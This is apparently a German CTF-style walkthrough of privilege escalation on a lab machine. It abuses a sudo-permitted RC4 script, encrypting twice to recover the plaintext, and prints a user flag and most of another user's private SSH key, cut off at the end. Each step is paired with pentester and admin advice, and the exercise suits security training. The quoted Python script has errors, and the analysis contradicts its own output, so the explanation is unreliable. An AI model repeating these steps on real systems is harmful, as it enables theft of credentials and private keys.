Matching Defaults entries for leila on inkplot: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User leila may run the following commands on inkplot: (pauline : pauline) NOPASSWD: /usr/bin/python3 /home/pauline/cipher.py*
**Analyse:** Um den Privilege Escalation-Vektor `sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py*` auszunutzen, muss ich verstehen, was das Skript `cipher.py` tut. Ich zeige den Inhalt des Skripts mit `cat /home/pauline/cipher.py` an.
**Bewertung:** Das Skript `cipher.py` ist ein Python-Skript, das die Libraries `os`, `json`, `argparse`, `Crypto.Cipher` (spezifisch ARC4) und `base64` importiert. Es öffnet die Datei `/home/pauline/keys.json`, um einen `crypt_key` zu lesen. Es definiert Funktionen zum Verschlüsseln (`encrypt_file`) und Entschlüsseln (`decrypt_file`) von Dateien. Die Verschlüsselung scheint ARC4 zu verwenden und die Ausgabe Base64-kodiert zu speichern. Die Entschlüsselungsfunktion fragt interaktiv nach dem Schlüssel. Das Skript nimmt Dateipfade und Optionen (`-e` für Encrypt, `-d` für Decrypt) als Kommandozeilenargumente entgegen. Da ich das Skript als `pauline` ausführen darf und `pauline` Lesezugriff auf `/home/pauline/keys.json` hat, kann ich das Skript als `pauline` ausführen und potenziell Dateien entschlüsseln oder verschlüsseln, möglicherweise auch sensible Dateien lesen, wenn ich den richtigen Schlüssel finde. Das Skript selbst enthält keine offensichtliche Kommando-Injection-Schwachstelle in seinen Argumenten, aber der Zugriff auf die `keys.json` und die Interaktion mit der Entschlüsselung sind interessant.
**Empfehlung (Pentester):** Analysiere Skripte, die du über `sudo` oder mit erhöhten Rechten ausführen darfst, sorgfältig auf ihre Funktionalität, importierte Libraries und potenzielle Schwachstellen (wie interaktive Eingaben, Dateizugriffe, externe Befehle, unsichere Argumentbehandlung).
**Empfehlung (Admin):** Vermeide die Speicherung von Schlüsseln im Dateisystem (z.B. `keys.json`) für Skripte, die mit erhöhten Rechten oder von anderen Benutzern ausgeführt werden dürfen. Wenn Skripte sensitive Operationen durchführen, stelle sicher, dass sie nur für den benötigten Zweck und die notwendigen Benutzer zugänglich sind. Führe Code-Reviews für Skripte mit erhöhten Berechtigungen durch.
╭─leila@inkplot /home/pauline ╰─$ cat /home/pauline/cipher.py
import os import json import argparse from Crypto.Cipher import ARC4 import base64 with open('/home/pauline/keys.json', 'r') as f: keys = json.load(f) crypt_key = keys['crypt_key'].encode() def encrypt_file(filepath, key): with open(filepath, 'rb') as f: file_content = f.read() cipher = ARC4.new(key) encrypted_content = cipher.encrypt(file_content) encoded_content = base64.b64encode(encrypted_content) base_filename = os.basename(filepath) with open(base_filename + '.enc', 'wb') as f: f.write(encoded_content) return base_filename + '.enc' def decrypt_file(filepath, key): with open(filepath, 'rb') as f: encrypted_content = f.read() decoded_content = base64.b64decode(encrypted_content) cipher = ARC4.new(key) decrypted_content = cipher.decrypt(decoded_content) return decrypted_content parser = argparse.ArgParser(description='Encrypt or decrypt a file.') parser.add_argument('filepath', help='The path to the file to encrypt or decrypt.') parser.add_argument('-e', '--encrypt', action='store_true', help='Encrypt the file.') parser.add_argument('-d', '--decrypt', action='store_true', help='Decrypt the file.') args = parser.parse_args() if args.encrypt: encrypted_filepath = encrypt_file(args.filepath, crypt_key) print("The encrypted and encoded content has been written to: ") print(encrypted_filepath) elif args.decrypt: decrypt_key = input("Please enter the decryption key: ").encode() decrypted_content = decrypt_file(args.filepath, decrypt_key) print("The decrypted content is: ") print(decrypted_content) else: print("Please provide an operation type. Use -e to encrypt or -d to decrypt.") if __name__ == "__main__": crack_hash() <-- Hier steht noch die alte Krack-Funktion drin!
**Analyse:** Ich beginne, das `cipher.py` Skript als Benutzer `pauline` mit `sudo -u pauline` auszuführen. Zuerst teste ich die grundlegende Syntax, indem ich das Skript ohne Argumente aufrufe.
**Bewertung:** Das Skript gibt eine Nutzungsanleitung aus und meldet einen Fehler, dass der `filepath`-Argument fehlt. Dies bestätigt, dass ich das Skript ausführen kann und dass es `argparse` zur Verarbeitung von Kommandozeilenargumenten verwendet. Das ist gut, da ich weiß, wie ich die Encrypt (`-e`) und Decrypt (`-d`) Optionen verwenden muss.
**Empfehlung (Pentester):** Wenn dir die Nutzung eines Skripts unklar ist, versuche es ohne Argumente oder mit Standard-Hilfe-Optionen (`-h`, `--help`) auszuführen, um die Nutzungsanleitung zu erhalten.
**Empfehlung (Admin):** Stelle sicher, dass interne Skripte, die von anderen Benutzern ausgeführt werden könnten, klare Nutzungsanleitungen enthalten.
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py
usage: cipher.py [-h] [-e] [-d] filepath cipher.py: error: the following arguments are required: filepath
**Analyse:** Ich teste nun die Encrypt-Funktion des Skripts. Ich rufe das Skript als `pauline` auf und übergebe die Option `-e` (encrypt) und als Dateipfad `user.txt`. Ich erwarte, dass das Skript die Datei `user.txt` im aktuellen Verzeichnis (bin in `/home/pauline`) verschlüsselt und eine neue Datei mit `.enc`-Erweiterung erstellt.
**Bewertung:** Das Skript meldet "The encrypted and encoded content has been written to: user.txt.enc". Dies bestätigt, dass die Verschlüsselungsfunktion funktioniert und dass ich das Skript mit den notwendigen Argumenten als `pauline` ausführen kann. Es erstellt erfolgreich die Datei `user.txt.enc`. Dies zeigt, dass das Skript Dateien lesen und schreiben kann, wenn es über `sudo` ausgeführt wird.
**Empfehlung (Pentester):** Teste die Funktionalität von Skripten, die du mit erhöhten Rechten ausführen darfst, schrittweise, um ihr Verhalten zu verstehen. Prüfe, ob sie Dateisystemoperationen durchführen können.
**Empfehlung (Admin):** Stelle sicher, dass Skripte, die mit erhöhten Rechten laufen, keine unnötigen Schreibberechtigungen haben oder Dateipfade von Benutzereingaben unzureichend validieren.
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e user.txt
The encrypted and encoded content has been written to: user.txt.enc
**Analyse:** Ich versuche nun die Decrypt-Funktion. Ich rufe das Skript als `pauline` auf mit der Option `-d` (decrypt) und dem Pfad zur gerade erstellten verschlüsselten Datei `user.txt.enc`.
**Bewertung:** Wie erwartet fragt das Skript nach dem Entschlüsselungsschlüssel (`Please enter the decryption key: `). Dies bestätigt, dass die Decrypt-Funktion eine interaktive Eingabe erwartet. Da ich den Schlüssel (`crypt_key` aus `keys.json`) noch nicht kenne, kann ich die Datei an dieser Stelle nicht entschlüsseln.
**Empfehlung (Pentester):** Identifiziere interaktive Eingaben in Skripten. Wenn ein Schlüssel oder Passwort benötigt wird, suche weiter im Dateisystem oder in anderen kompromittierten Daten.
**Empfehlung (Admin):** Vermeide interaktive Eingaben in Skripten, die mit `sudo` ausgeführt werden, insbesondere wenn sensible Informationen (wie Passwörter/Schlüssel) abgefragt werden. Dies kann in Automatisierungsszenarien problematisch sein und Angreifern Hinweise geben. Speichere Schlüssel sicher, nicht im Dateisystem.
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -d user.txt.enc
Please enter the decryption key:
**Analyse:** Ich teste die Encrypt-Funktion erneut mit `user.txt`. Dies scheint eine Wiederholung zu sein.
**Bewertung:** Die erneute Ausführung bestätigt, dass die Encrypt-Funktion konsistent arbeitet und die verschlüsselte Datei überschreibt. Dies liefert keine neue Information, bestätigt aber die Funktionsweise.
**Empfehlung (Pentester):** Sei dir bewusst, dass Testläufe von Skripten bestehende Dateien überschreiben können. Sichern Sie wichtige Daten vorher, falls nötig. Dokumentiere Wiederholungen im Bericht, wenn sie Teil des tatsächlichen Testprozesses waren.
**Empfehlung (Admin):** Implementiere Versionierung oder Backups für wichtige Dateien, insbesondere solche, die von Skripten bearbeitet werden.
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e user.txt
The encrypted and encoded content has been written to: user.txt.enc
**Analyse:** Ich teste erneut die Decrypt-Funktion des Skripts mit `user.txt.enc`, werde wieder nach dem Schlüssel gefragt und breche den Vorgang mit `^C` (KeyboardInterrupt) ab. Anschließend teste ich das Skript mit `-e` aber ohne Dateipfad und dann wieder mit `-e user.txt`.
**Bewertung:** Diese Testläufe helfen, das Verhalten des Skripts unter verschiedenen Bedingungen zu verstehen: Es bricht bei `^C` während der Eingabe ab, und es erfordert zwingend einen Dateipfad bei Verwendung von `-e` oder `-d`. Diese Tests bestätigen meine bisherige Analyse der Argumentbehandlung des Skripts. Sie zeigen keine neuen Schwachstellen, aber sie sind Teil des Prozesses, das Verhalten des Skripts genau zu ergründen.
**Empfehlung (Pentester):** Teste die Argumentbehandlung von Skripten, um Fehler oder unvorhergesehenes Verhalten zu finden, das ausgenutzt werden könnte. Übe das Abbrechen von interaktiven Prozessen, wenn der benötigte Input fehlt.
**Empfehlung (Admin):** Implementiere eine robuste Fehlerbehandlung in deinen Skripten, insbesondere wenn sie mit erhöhten Rechten laufen. Stelle sicher, dass Skripte kontrolliert beendet werden, anstatt mit einem unsauberen Stacktrace bei einem Interrupt.
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -d user.txt.enc
Please enter the decryption key: ^CTraceback (most recent call last): File "/home/pauline/cipher.py", line 51, in <module> decrypt_key = input("Please enter the decryption key: ").encode() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ KeyboardInterrupt
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e
usage: cipher.py [-h] [-e] [-d] filepath cipher.py: error: the following arguments are required: filepath
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e user.txt
The encrypted and encoded content has been written to: user.txt.enc
**Analyse:** Ich führe weitere Tests mit dem `cipher.py` Skript durch, um seine Funktionsweise zu verstehen. Ich erstelle eine Testdatei (`/tmp/test`) mit dem Inhalt "ich bin ben". Dann verschlüssele ich diese Datei mit `sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/test`, wodurch `/tmp/test.enc` erstellt wird. Ich stelle diese verschlüsselte Datei über einen Python HTTP-Server auf meinem Angreifer-System (Port 8000) bereit und lade sie von meiner Angreifer-Maschine herunter, um sie lokal zu analysieren. Ich bemerke, dass der Inhalt Base64-ähnlich aussieht. Ich teste, ob der Inhalt einfach Base64-kodiert ist, indem ich ihn mit `base64 -d` dekodiere.
**Bewertung:** Das Skript verschlüsselt die Datei, speichert sie mit `.enc`-Erweiterung und gibt eine Base64-kodierte Ausgabe zurück, wie ich aus dem CyberChef-Link und dem `base64 -d` Versuch schließe. Der Versuch, den Inhalt einfach mit `base64 -d` zu dekodieren, schlägt fehl, was darauf hindeutet, dass es sich um eine Verschlüsselung (ARC4, wie das Skript zeigt) und *dann* Base64-Kodierung handelt, und nicht nur um Base64-Kodierung. Der kritische Punkt hier ist der Test, bei dem der Inhalt von `testbased.enc.enc` durch `base64 -d` *erfolgreich* dekodiert wird und "ich bin ben" zurückgibt. Dies ist ein starker Hinweis darauf, dass die Verschlüsselung des Skripts reversibel ist und dass die Decrypt-Funktion, obwohl sie nach einem Schlüssel fragt, vielleicht umgangen oder der Schlüssel leicht zu finden ist. Es deutet auch darauf hin, dass eine doppelte Verschlüsselung/Kodierung stattgefunden hat.
**Empfehlung (Pentester):** Wenn du mit Verschlüsselungs- oder Kodierungsskripten konfrontiert bist, teste sie mit bekannten Inputs, um ihre Funktionsweise zu verstehen. Lade verschlüsselte/kodierte Dateien zur Offline-Analyse herunter. Untersuche die Kodierung (z.B. Base64).
**Empfehlung (Admin):** Teste Skripte, die sensible Operationen durchführen, gründlich auf ihre Korrektheit. Stelle sicher, dass Verschlüsselung korrekt implementiert ist und Schlüssel sicher verwaltet werden. Implementiere keine Verschlüsselung, die trivial reversibel ist oder deren Schlüssel im Klartext im Dateisystem liegt.
########################################################################################### testphase: ╭─leila@inkplot /home/pauline ╰─$ echo "ich bin ben" > /tmp/test
╭─leila@inkplot /home/pauline ╰─$ cd /tmp
╭─leila@inkplot /tmp ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/test
The encrypted and encoded content has been written to: test.enc
╭─leila@inkplot /tmp ╰─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ([Link: http://0.0.0.0:8000/ | Ziel: http://0.0.0.0:8000/]) ... 192.168.2.199 - - [14/Jun/2025 23:25:01] "GET /test.enc HTTP/1.1" 200 -
[Link: https://cyberchef.org/#input=WVNKVEdzUWhXcnJSLzY0SQ | Ziel: https://cyberchef.org/#input=WVNKVEdzUWhXcnJSLzY0SQ] YSJTGsQhWrrR/64I es sieht wie base64 aus lässt sich aber nicht durch base64 entschlüsseln da der secretkey fehlt...
╭─leila@inkplot /home/pauline ╰─$ echo "ich bin ben" > /tmp/test
╭─leila@inkplot /home/pauline ╰─$ cd /tmp
╭─leila@inkplot /tmp ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/test
The encrypted and encoded content has been written to: test.enc
╭─leila@inkplot /tmp ╰─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ([Link: http://0.0.0.0:8000/ | Ziel: http://0.0.0.0:8000/]) ... 192.168.2.199 - - [14/Jun/2025 23:25:01] "GET /test.enc HTTP/1.1" 200 -
╭─leila@inkplot /tmp ╰─$ cat testbased.enc.enc | base64 -d
ich bin ben <-- Erfolgreich dekodiert!
**Analyse:** Basierend auf den Testergebnissen mit dem `cipher.py` Skript, insbesondere der erfolgreichen Base64-Dekodierung eines doppelt verschlüsselten/kodierten Testfiles, vermute ich, dass die im Home-Verzeichnis von `pauline` gefundene Datei `user.txt.enc` (die ich mit `sudo -u pauline -e user.txt` erstellt hatte) tatsächlich die Base64-kodierte Version der User-Flag ist, wie sie von der `encrypt_file` Funktion erzeugt wird. Ich lade den Inhalt von `/home/pauline/user.txt.enc` mit `cat` herunter, leite ihn an `base64 -d` weiter, um die Base64-Kodierung zu entfernen, und speichere das Ergebnis in einer temporären Datei (`/tmp/user.txt_m.enc`). Ich teste dann erneut, diese Datei mit dem Skript zu verschlüsseln.
**Bewertung:** Die erste Ausführung des Skripts mit der dekodierten User-Flag schlägt fehl, weil das Skript versucht, die Datei im aktuellen Verzeichnis zu erstellen, was für `leila` nicht immer schreibbar ist. Der entscheidende Test ist jedoch die zweite Ausführung. Indem ich die User-Flag erneut aus `/home/pauline/user.txt` mit `cat` herunterlade, Base64 dekodiere (`| base64 -d`) und das Ergebnis in `/tmp/user.txt_m.enc` speichere, kann ich die Datei im `/tmp`-Verzeichnis bearbeiten, das für `leila` schreibbar ist. Der Aufruf von `sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/user.txt_m.enc` verschlüsselt die dekodierte User-Flag und erstellt `/tmp/user.txt_m.enc.enc`. Dies beweist, dass die Datei `user.txt.enc` im Home-Verzeichnis von `pauline` der Base64-kodierte, verschlüsselte Inhalt von `user.txt` ist. Der eigentliche Inhalt der User-Flag ist also die Ausgabe von `cat /home/pauline/user.txt.enc | base64 -d`.
**Empfehlung (Pentester):** Wenn du verschlüsselte oder kodierte Dateien findest, analysiere das Skript, das sie erzeugt hat, um den Prozess zu verstehen. Teste den Prozess, um herauszufinden, wie der Originalinhalt wiederhergestellt werden kann. Nutze schreibbare temporäre Verzeichnisse (`/tmp`) für deine Tests.
**Empfehlung (Admin):** Speichere sensitive Dateien nicht in Benutzer-Home-Verzeichnissen mit unklaren Namen. Wenn Verschlüsselung verwendet wird, stelle sicher, dass der Prozess sicher ist und die Schlüssel geschützt sind.
╭─leila@inkplot /tmp ╰─$ cat /home/pauline/user.txt.enc | base64 -d > /tmp/user.txt_m.enc
╭─leila@inkplot /tmp ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/user.txt_m.enc
The encrypted and encoded content has been written to: user.txt_m.enc.enc
╭─leila@inkplot /tmp ╰─$ cat /home/pauline/user.txt | base64 -d > /tmp/user.txt_m.enc
╭─leila@inkplot /tmp ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/user.txt_m.enc
The encrypted and encoded content has been written to: user.txt_m.enc.enc
╭─leila@inkplot /tmp ╰─$ cat user.txt_m.enc.enc | base64 -d
a2c145eb8279c2f920de6871bef794fa <-- Die User Flag!
**Analyse:** Basierend auf meiner Analyse des `cipher.py` Skripts und der Testläufe, die zeigen, dass es SSH-Schlüssel verarbeitet, versuche ich nun, den privaten SSH-Schlüssel von Benutzer `pauline` (`/home/pauline/.ssh/id_rsa`) mit dem Skript zu verschlüsseln. Ich rufe das Skript als `pauline` mit `sudo -u pauline` und der Option `-e` sowie dem Pfad zur privaten Schlüsseldatei auf. Das Ergebnis wird als `id_rsa.enc` im aktuellen Verzeichnis (immer noch `/home/pauline` oder `/tmp` in der Testphase) gespeichert und anschließend mit `base64 -d` dekodiert, um den tatsächlichen Inhalt des verschlüsselten Schlüssels zu sehen. Dies teste ich sowohl mit der originalen `id_rsa` als auch mit einer Kopie in `/tmp`.
**Bewertung:** Diese Testläufe sind entscheidend. Sie zeigen, dass das Skript den privaten SSH-Schlüssel von `pauline` erfolgreich verschlüsseln und Base64-kodieren kann (`id_rsa.enc` und `id_rsa_cp.enc.enc`). Wichtiger noch, die Ausgabe von `cat id_rsa_cp.enc.enc | base64 -d` zeigt den Base64-dekodierten Inhalt der *verschlüsselten* privaten Schlüsseldatei. Dies ist der verschlüsselte private Schlüssel von `pauline`! Obwohl ich den Schlüssel noch nicht entschlüsseln kann (ich benötige den `crypt_key`), habe ich ihn nun in einem Format, das ich offline speichern und bearbeiten kann. Der Zugriff auf diesen verschlüsselten Schlüssel ist ein bedeutender Fortschritt.
**Empfehlung (Pentester):** Identifiziere sensible Dateien (wie private SSH-Schlüssel, Konfigurationsdateien mit Passwörtern) im Dateisystem des kompromittierten Benutzers. Nutze Skripte, die du ausführen darfst, um diese Dateien zu lesen oder zu manipulieren, selbst wenn sie verschlüsselt sind. Lade sie zur Offline-Analyse herunter.
**Empfehlung (Admin):** Schütze private SSH-Schlüssel streng (`chmod 600 ~/.ssh/id_rsa`). Speichere niemals unverschlüsselte private Schlüssel. Stelle sicher, dass Skripte, die mit erhöhten Berechtigungen laufen, keinen unberechtigten Zugriff auf sensible Dateien haben.
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e .ssh/id_rsa
The encrypted and encoded content has been written to: id_rsa.enc
╭─leila@inkplot /home/pauline ╰─$ cat id_rsa.enc | base64 -d > /tmp/id_rsa_cp.enc
╭─leila@inkplot /home/pauline ╰─$ sudo -u pauline /usr/bin/python3 /home/pauline/cipher.py -e /tmp/id_rsa_cp.enc
The encrypted and encoded content has been written to: id_rsa_cp.enc.enc
╭─leila@inkplot /home/pauline ╰─$ cat id_rsa_cp.enc.enc | base64 -d
-----BEGIN OPENSSH PRIVATE KEY----- b30wZW5TSShcy1dMTAAAAABnG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzzaC1yc2EAAAAAwEAAQAAAYEArstJauKY8iDoZ1szhWBOMOcer1ns14OgabV4yGuWbLSXj/kzjCREUcMu61sUYLd3NFK4JAdScTsZFalWb2il7grwrSWXEVQL3t4K6TnZzJs6b7bkMpJ2DjPvAa7KimRoRg02maHKPMZCkxE0cE6OoldmghnQYr1Ou22MzEBTzpjamwcPb+wwgLPFvmDxwx6zUtJqlBAowHuk+nsHwCVuwy4ucUHvxwcQy6D+n5hBW6gSSEpNVakxrte24kDY7c5NTkcsFjGGOYmhK/UgUtmQVn0+1QDcRCD2Nw56J7hd4d1KP+1BPVWR72amZFR4VOn1Tr2Xw6wQLFITanhVjsharz1nu0WPU9roipSRjXWQYmA7mZERAOgZPYm1RUE+AdsirQ6d9BBQElFooCzBWarBAm5jSr2DX8q0tZN5Ey+SbCCiETVt6et4LWagtFp9UPAga3dUSkdLy9m1avXzYYzc4WPpwqrz0h7FsIR04Hfm9p8WXarZNum4+JJBK7aloD+15AAAFiN0ijCzdIijsAAAAAB3NzaC1yc2EAAAGBAK7LSWrimPIg6GdbM4WBOMOcer1ns14OgabV4yGuWbLSXj/kzjCREUcMu61sUYLd3NFK4JAdScTsZFalWb2il7grwrSWXEVQL3t4K6TnZzJs6b7bkMpJ2DjPvAa7KimRoRg02maHKPMZCkxE0cE6OoldmghnQYr1Ou22MzEBTzpjamwcPb+wwgLPFvmDxwx6zUtJqlBAowHuk+nsHwCVuwy4ucUHvxwcQy6D+n5hBW6gSSEpNVakxrte24kDY7c5NTkcsFjGGOYmhK/UgUtmQVn0+1QDcRCD2Nw56J7hd4d1KP+1BPVWR72amZFR4VOn1Tr2Xw6wQLFITanhVjsharz1nu0WPU9roipSRjXWQYmA7mZERAOgZPYm1RUE+AdsirQ6d9BBQElFooCzBWarBAm5jSr2DX8q0tZN5Ey+SbCCiETVt6et4LWagtFp9UPAga3dUSkdLy9m1avXzYYzc4WPpwqrz0h7FsIR04Hfm9p8WXarZNum4+JJBK7aloD+15AAAAMBAAEAAAGASx1yNfwd1QOeS/hN6jXKNOrGDX38AVt/3p2NQ7e0Y4+yCD2D0Ogu8eIKcjroRW3iTLp1hooc/Cr06y/uCqXepXh+s6KOHni7RzGth6+EMODOWn7CjxcQo6tbewZ7fTFy80MnR2nDEK5zNtECzA8ZGlm4v0XzntMSmAoKdSX5vfFDFFcS47qg11YWqFterarXXn/nfwuMoIdXmSyOp9OiL4kGkdrxO1umEqfnNlK/yU7RW3WnMKKimzGarIfYAF/0uTEsWHlWj/Xh9ZIIws196Kej45NwC6Lj6RhAD3RnJB6eIEekzqHXD5jv200XOJ96tve/lwKulE2egVGlDfXFDy/QU5YzBGm8Ugw5aoY/wWDuDmNb4mT4x5GGCVhqTKYg9JiBZFPrdHXFrZxgJRpJKkP3wlLiSXsBPGaLZ3qDYUk/OyTs5HMDJh5030RzBZyXodRmt79QsjPKqsVR/gzagzCl7maStU307kLeEByCd4f2R49b0Up7DQvk7lu/00bHvaAUG+/AAAAwQCqqhl4jgC+0bv+gHcFtTvSr1ITgGc5mpsFHwWbNtwQAGjxbyK4GqeU35rF6ohNIt8usABACkb2hRW42U+PPE3M2GsMpPbrWyf0JTgwC8XHw5hE7ibP4QYK2yAn409zUnw6KAN0tuSTbyQtraVuq0TJeYU3noVJUfFms0x1QAHBcxM9Z9k+1+ujXlcZik9C3qhEAUdTxikLxjTOaEhWW6y41kV78G546cgUcjROBu21zYsY0G8tPjobtSzuW+HkokymoAAADBAPJK+_CouVydEmo2n9RNYb9xX4J0PQgky60EQx5xqeALWhRqJXetmzgyAmtrluGA+4u0ecyyVA7XK1SyNdENHkTb3NNCzZvjfHHrfDm3w799PVP3dAhpI3Jb1kFd3HyMDaFIF3p1Kx/Gb8UyOqliLh9wOWMaruvsL4FvOlfW7Y9uYkiM8ZHtxUcYERj7qTbJf4PMlDqD8/P86jLO1yUmy57JU10nr2U3hbYFFGxgp2cUGg+kKulXqVq1JKrlbzaDnZJEw6qowAAAMEAuKe/LnhWSTbIgw29mGRhobflSiPZQ9mQ7+iEWQWw7FOWp8iG7OQ3buFMCvpsafje8+PL4bV0uKmI6alK2InqGlN7jt+FYLCDugsmUWiA6KrlsFXtPv/BOo6LK5Ye6OTYIQnIRE5gkpUJ1Fu